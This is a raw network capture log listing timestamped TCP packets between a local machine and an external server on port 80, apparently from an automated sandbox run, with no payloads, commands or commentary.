Dec 18, 2024 15:21:34.804027081 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.804038048 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.804050922 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.804081917 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.804104090 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.804172039 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.804210901 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.804640055 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.804685116 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.805545092 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.805674076 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.805725098 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.806776047 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.806787968 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.806833982 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.807724953 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.807874918 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.807923079 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.808841944 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.808886051 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.808986902 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.809834003 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.809883118 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.809962988 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.810915947 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.810977936 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.811047077 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.811089039 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.812031031 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.812300920 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.812355995 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.813153028 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.813163996 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.813218117 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.814213037 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.814261913 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.814398050 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.815190077 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.815237045 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.815483093 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.816459894 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.816509008 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.816584110 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.816628933 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.817433119 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.817567110 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.817617893 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.818403006 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.818667889 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.818727970 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.819518089 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.819679022 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.819729090 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.820522070 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.820566893 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.820698977 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.820828915 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.821721077 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.821881056 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.821938038 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.822653055 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.822664976 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.822751999 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.823611021 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.823759079 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.823815107 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.824845076 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.824914932 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.824973106 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.825942993 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.825993061 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.826061964 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.826359987 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.826838970 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.827004910 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.827056885 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.827971935 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.828108072 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.828151941 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.829022884 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.829165936 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.829221964 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.830128908 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.830262899 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.830301046 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.830319881 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.831259966 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.831320047 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.831401110 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.832278967 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.832319975 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.832407951 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.833245993 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.833435059 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.833446980 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.833538055 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.834538937 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.834594011 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.834678888 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.834716082 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.835525990 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.835536957 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.835547924 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.835558891 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.835581064 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.835616112 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.836410999 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.836460114 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.836520910 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.836565971 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.837542057 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.837596893 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.837677002 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.837822914 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.838615894 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.838665009 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.838747978 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.838789940 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.839637041 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.839679003 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.839708090 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.840451956 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.840678930 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.840732098 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.840852976 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.840898991 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.841821909 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.841876030 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.841905117 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.841948986 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.842917919 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.842971087 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.842993021 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.843039036 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.843996048 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.844054937 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.844394922 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.844446898 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.844999075 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.845051050 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.845120907 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.845172882 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.846039057 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.846059084 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.846118927 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.846118927 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.847088099 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.847131968 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.847178936 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.847223997 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.848189116 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.848239899 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.848290920 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.848412991 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.849447012 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.849459887 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.849495888 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.849514008 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.850322008 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.850367069 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.850400925 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.850435972 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.851360083 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.851442099 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.851542950 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.851649046 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.852533102 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.852582932 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.988989115 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.989073992 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.989219904 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.989278078 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.989731073 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.989804029 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.989820957 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.989840031 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.990636110 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.990695953 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.990731001 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.990859985 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.991518974 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.991574049 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.991604090 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.991641045 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.992541075 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.992590904 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.992666006 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.992815971 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.993545055 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.993590117 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.993637085 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.993674040 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.994693995 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.994740009 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.994746923 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.994780064 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.995579004 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.995619059 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.995666981 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.995702028 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.996498108 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.996541023 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.996572018 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.996642113 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.997459888 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.997504950 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.997539997 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.997585058 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.998550892 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.998601913 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.998682976 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.998735905 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.999552011 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.999619007 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:34.999655008 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:34.999691963 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.000631094 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.000678062 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.000756979 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.000940084 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.001768112 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.001811981 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.001866102 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.001915932 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.002811909 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.002851963 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.002918959 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.002959967 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.003820896 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.003870964 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.003902912 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.003940105 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.004894018 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.004981041 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.005031109 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.005261898 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.006206036 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.006253958 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.006287098 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.006325960 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.007383108 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.007452011 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.007477045 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.007514954 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.008270979 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.008378029 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.008410931 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.008490086 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.009321928 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.009390116 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.009397030 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.009449005 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.010303974 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.010375977 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.010409117 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.010457039 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.011333942 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.011399984 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.011476994 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.011534929 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.012469053 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.012509108 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.012646914 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.012701988 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.013659000 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.013797998 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.013802052 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.014100075 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.015024900 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.015081882 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.015086889 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.015141010 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.016184092 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.016249895 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.016304970 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.017335892 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.017416954 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.017602921 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.018532038 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.018572092 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.018637896 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.018692970 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.019499063 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.019545078 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.019617081 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.019797087 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.020353079 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.020406008 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.020437956 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.020733118 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.021290064 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.021367073 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.021380901 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.021476030 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.022497892 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.022543907 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.022651911 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.022697926 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.023653984 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.023695946 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.023780107 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.023989916 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.024770021 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.024810076 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.024820089 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.024840117 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.025671959 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.025719881 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.025758028 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.025841951 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.026679993 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.026729107 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.026765108 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.027359009 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.027586937 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.027626038 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.027657986 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.027698040 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.028469086 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.028528929 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.028589010 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.030178070 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.030193090 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.030235052 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.030503035 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.030592918 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.030636072 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.031550884 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.031730890 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.031776905 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.032938004 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.033004999 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.033049107 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.034092903 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.034188032 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.034231901 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.035037041 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.035098076 CET	80	49817	185.215.113.16	192.168.2.5
Dec 18, 2024 15:21:35.035140991 CET	49817	80	192.168.2.5	185.215.113.16
Dec 18, 2024 15:21:35.036078930 CET	80	49817	185.215.113.16	192.168.2.5
